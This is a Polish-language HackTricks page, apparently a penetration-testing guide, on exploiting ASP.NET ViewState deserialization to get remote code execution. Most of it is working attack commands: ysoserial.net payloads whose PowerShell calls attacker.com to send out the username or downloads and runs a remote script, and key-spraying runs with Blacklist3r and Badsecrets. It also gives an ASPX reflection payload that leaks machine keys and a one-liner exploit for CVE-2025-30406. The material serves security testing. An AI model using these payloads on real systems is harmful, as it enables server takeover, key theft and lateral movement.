Wykorzystywanie __VIEWSTATE bez znajomości sekretów
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest ViewState
ViewState pełni rolę domyślnego mechanizmu w ASP.NET do utrzymywania stanu strony i danych kontrolek między stronami. Podczas renderowania HTML strony aktualny stan strony i wartości, które mają być zachowane podczas postback, są serializowane do ciągów kodowanych base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
Informacje ViewState można scharakteryzować następującymi właściwościami lub ich kombinacjami:
- Base64:
- Ten format jest używany, gdy zarówno
EnableViewStateMac, jak iViewStateEncryptionModesą ustawione na false. - Base64 + MAC (Message Authentication Code) Enabled:
- Włączenie MAC uzyskuje się przez ustawienie atrybutu
EnableViewStateMacna true. Zapewnia to weryfikację integralności danych ViewState. - Base64 + Encrypted:
- Szyfrowanie jest stosowane, gdy atrybut
ViewStateEncryptionModejest ustawiony na true, co zapewnia poufność danych ViewState.
Test Cases
Obraz przedstawia tabelę opisującą różne konfiguracje ViewState w ASP.NET w zależności od wersji .NET framework. Oto streszczenie treści:
- Dla dowolnej wersji .NET, gdy zarówno MAC, jak i Encryption są wyłączone, MachineKey nie jest wymagany, więc nie ma zastosowanej metody identyfikacji.
- Dla wersji poniżej 4.5, jeśli MAC jest włączony, a Encryption nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey oznaczona jest jako “Blacklist3r”.
- Dla wersji poniżej 4.5, niezależnie od tego, czy MAC jest włączony czy wyłączony, jeśli Encryption jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla “Blacklist3r - Future Development”.
- Dla wersji 4.5 i wyżej, wszystkie kombinacje MAC i Encryption (zarówno obie true, jak i jedno true a drugie false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą “Blacklist3r”.
Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
Możliwe jest również całkowite wyłączenie ViewStateMAC przez ustawienie klucza rejestru AspNetEnforceViewStateMac na zero w:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identyfikacja atrybutów ViewState
Możesz spróbować ustalić, czy ViewState jest chroniony MAC, przechwytując żądanie zawierające ten parametr za pomocą BurpSuite. Jeśli Mac nie jest używany do ochrony parametru, możesz go wykorzystać za pomocą YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Podobnie jak Test case 1, ale cookie ViewState nie jest wysyłane przez serwer
Developerzy mogą usunąć ViewState z bycia częścią żądania HTTP (użytkownik nie otrzyma tego pliku cookie).
Można założyć, że jeśli ViewState nie występuje, ich implementacja jest bezpieczna przed potencjalnymi podatnościami wynikającymi z deserializacji ViewState.
Jednak tak nie jest. Jeśli dodamy parametr ViewState do ciała żądania i wyślemy nasz zserializowany payload utworzony przy użyciu ysoserial, nadal będziemy w stanie osiągnąć code execution jak pokazano w Case 1.
Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
Aby włączyć ViewState MAC dla konkretnej strony musimy wprowadzić następujące zmiany w konkretnym pliku aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Możemy też to zrobić dla całej aplikacji, ustawiając to w pliku web.config, jak pokazano poniżej:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Ponieważ parametr jest tym razem chroniony przez MAC, aby pomyślnie przeprowadzić atak, najpierw potrzebujemy użytego klucza.
Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe) aby znaleźć użyty klucz.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets to kolejne narzędzie, które potrafi zidentyfikować znane machineKeys. Jest napisane w Python, więc w przeciwieństwie do Blacklist3r nie ma zależności od Windows. Dla .NET viewstates dostępne jest narzędzie “python blacklist3r”, które jest najszybszym sposobem użycia.
Można mu dostarczyć bezpośrednio viewstate i generator:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Albo może połączyć się bezpośrednio z docelowym adresem URL i spróbować wyodrębnić viewstate z HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Aby wyszukać podatne viewstates na dużą skalę, w połączeniu z subdomain enumeration, można użyć modułu badsecrets BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp

Jeśli masz szczęście i klucz zostanie znaleziony, możesz kontynuować atak, używając YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
W przypadkach, gdy parametr _VIEWSTATEGENERATOR nie jest wysyłany przez serwer, nie musisz podawać parametru --generator, jednak w następujących przypadkach:
--apppath="/" --path="/hello.aspx"
Wykorzystywanie ponownie używanych wartości <machineKey> na dużą skalę
Ink Dragon (2025) pokazał, jak niebezpieczne jest, gdy administratorzy kopiują przykładowe bloki <machineKey> opublikowane w Microsoft docs, StackOverflow answers lub na blogach dostawców. Gdy pojedynczy cel leaks lub ponownie użyje tych kluczy w całej farmie, każda inna strona ASP.NET, która ufa ViewState, może zostać przejęta zdalnie bez dodatkowej luki.
- Zbuduj listę kandydatów (wordlist) z leaked
validationKey/decryptionKeypairs (np. przeszukując publiczne repozytoria, Microsoft blog posts lub klucze odzyskane z jednego hosta w farmie) i podaj ją do Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
Narzędzia wielokrotnie podpisują nieszkodliwy blob __VIEWSTATE każdym kandydackim kluczem, aż serwer zaakceptuje MAC, udowadniając, że klucz jest prawidłowy.
2. Sfałszuj złośliwy ViewState gdy para kluczy jest znana. Jeśli szyfrowanie jest wyłączone, potrzebujesz tylko validationKey. Jeśli szyfrowanie jest włączone, dołącz pasujący decryptionKey, aby payload przetrwał ścieżkę decrypt → deserialize:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
Operatorzy często osadzają na dysku launchery (np. PrintNotifyPotato, ShadowPad loaders, itp.) bezpośrednio w payloadzie, ponieważ wykonuje się on jako worker IIS (w3wp.exe).
3. Pivotuj lateralnie przez ponowne użycie tego samego <machineKey> na sąsiednich węzłach SharePoint/IIS. Gdy jeden serwer zostanie przejęty, możesz powtórzyć użycie klucza, aby uderzyć w każdy inny serwer, który nigdy nie zrotował swojej konfiguracji.
Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wówczas wartość prawdopodobnie jest zaszyfrowana i będziesz potrzebować Machine Key, aby zaszyfrować swój payload aby wykorzystać podatność.
W tym przypadku Blacklist3r moduł jest w trakcie rozwoju…
Przed .NET 4.5, ASP.NET może zaakceptować niezaszyfrowany ___VIEWSTATE_parameter od użytkowników nawet jeśli ViewStateEncryptionMode zostało ustawione na Always. ASP.NET sprawdza tylko obecność parametru __VIEWSTATEENCRYPTED w żądaniu. Jeśli usunie się ten parametr, i wyśle niezaszyfrowany payload, zostanie on nadal przetworzony.
Dlatego jeśli atakujący znajdą sposób, aby zdobyć Machinekey przez inną vuln jak file traversal, polecenie YSoSerial.Net użyte w Case 2 może zostać użyte do wykonania RCE przy użyciu luki deserializacji ViewState.
- Usuń parametr
__VIEWSTATEENCRYPTEDz żądania, aby wykorzystać podatność deserializacji ViewState, w przeciwnym razie zwróci Viewstate MAC validation error i exploit się nie powiedzie.
Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w pliku web.config, jak pokazano poniżej.
<httpRuntime targetFramework="4.5" />
Alternatywnie można to zrobić, określając poniższą opcję w parametrze machineKey pliku web.config.
compatibilityMode="Framework45"
Jak wcześniej wartość jest zaszyfrowana. Zatem, aby wysłać prawidłowy payload, atakujący potrzebuje klucza.
Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe) aby znaleźć używany klucz:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Aby uzyskać bardziej szczegółowy opis IISDirPath i TargetPagePath, zobacz tutaj
Albo przy użyciu Badsecrets (z wartością generatora):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Po zidentyfikowaniu ważnego Machine key, kolejnym krokiem jest wygenerowanie serialized payload za pomocą YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Jeśli masz wartość __VIEWSTATEGENERATOR, możesz spróbować użyć parametru --generator z tą wartością i pominąć parametry --path oraz --apppath

Pomyślne wykorzystanie luki w deserializacji ViewState spowoduje wygenerowanie out-of-band request do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego typu exploit jest zademonstrowany w proof of concept (PoC) dostępnym w materiale zatytułowanym “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”. Aby uzyskać więcej szczegółów na temat procesu eksploatacji oraz użycia narzędzi takich jak Blacklist3r do identyfikacji MachineKey, możesz przejrzeć zamieszczony PoC of Successful Exploitation.
Przypadek testowy 6 – ViewStateUserKeys jest używany
Właściwość ViewStateUserKey może być użyta do ochrony przed atakiem CSRF. Jeżeli taki klucz został zdefiniowany w aplikacji i spróbujemy wygenerować ViewState payload za pomocą metod omówionych dotąd, payload nie zostanie przetworzony przez aplikację.
Musisz użyć jeszcze jednego parametru, aby poprawnie utworzyć payload:
--viewstateuserkey="randomstringdefinedintheserver"
Wynik pomyślnej eksploatacji
Dla wszystkich testów, jeśli payload ViewState YSoSerial.Net zadziała pomyślnie, serwer odpowiada “500 Internal server error” z treścią odpowiedzi “The state information is invalid for this page and might be corrupted” i otrzymamy OOB request.
Zobacz więcej informacji tutaj
Wyodrębnianie ASP.NET Machine Keys przez Reflection (SharPyShell/SharePoint ToolShell)
Atakujący, którzy są w stanie upload or execute arbitrary ASPX code w katalogu web root celu, mogą bezpośrednio odzyskać tajne klucze, które chronią __VIEWSTATE zamiast bruteforcing them.
Minimalny payload that leaks the keys wykorzystuje wewnętrzne klasy .NET przez reflection:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Żądanie strony wypisuje ValidationKey, DecryptionKey, algorytm szyfrowania oraz tryb zgodności ASP.NET. Te wartości można teraz bezpośrednio przekazać do ysoserial.net, aby utworzyć ważny, podpisany __VIEWSTATE gadget:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
This key-exfiltration primitive był masowo wykorzystywany przeciwko on-prem SharePoint servers w 2025 (“ToolShell” – CVE-2025-53770/53771), ale ma zastosowanie do dowolnej aplikacji ASP.NET, w której attacker może uruchomić server-side code.
2024-2025 Scenariusze wykorzystania w rzeczywistych warunkach i Hard-coded Machine Keys
Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
Microsoft Threat Intelligence zgłosił masowe wykorzystywanie serwisów ASP.NET, gdzie machineKey został wcześniej leaked na publicznych źródłach (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid __VIEWSTATE gadgets with the newer ysoserial.net 1.41 --minify and --islegacy flags to evade WAF length limits:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Cele, które ponownie używają tych samych statycznych kluczy w całych farmach, pozostają podatne bezterminowo; po migracji na wartości AutoGenerate spray technique przestaje działać, więc priorytetowo traktuj legacy deployments, które nadal ujawniają hard-coded material.
CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
Kudelski Security wykryło, że wiele wydań CentreStack / Triofox było dystrybuowanych z identycznymi wartościami machineKey, co umożliwia nieautoryzowane zdalne wykonanie kodu poprzez fałszowanie ViewState (CVE-2025-30406).
One-liner exploit:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
Naprawione w CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – natychmiast zaktualizuj lub wymień klucze.
References
- Wykorzystanie deserializacji ViewState przy użyciu Blacklist3r i YSoSerial.NET
- Dogłębna analiza deserializacji ViewState w .NET i jej wykorzystania
- Wykorzystanie deserializacji w ASP.NET przez ViewState (Soroush Dalili, 2019)
- Przedstawiamy badsecrets – szybkie odkrywanie machineKey
- Łańcuch eksploatacji SharePoint “ToolShell” (Eye Security, 2025)
- Microsoft Security – Ataki wstrzyknięcia kodu wykorzystujące publicznie ujawnione klucze ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


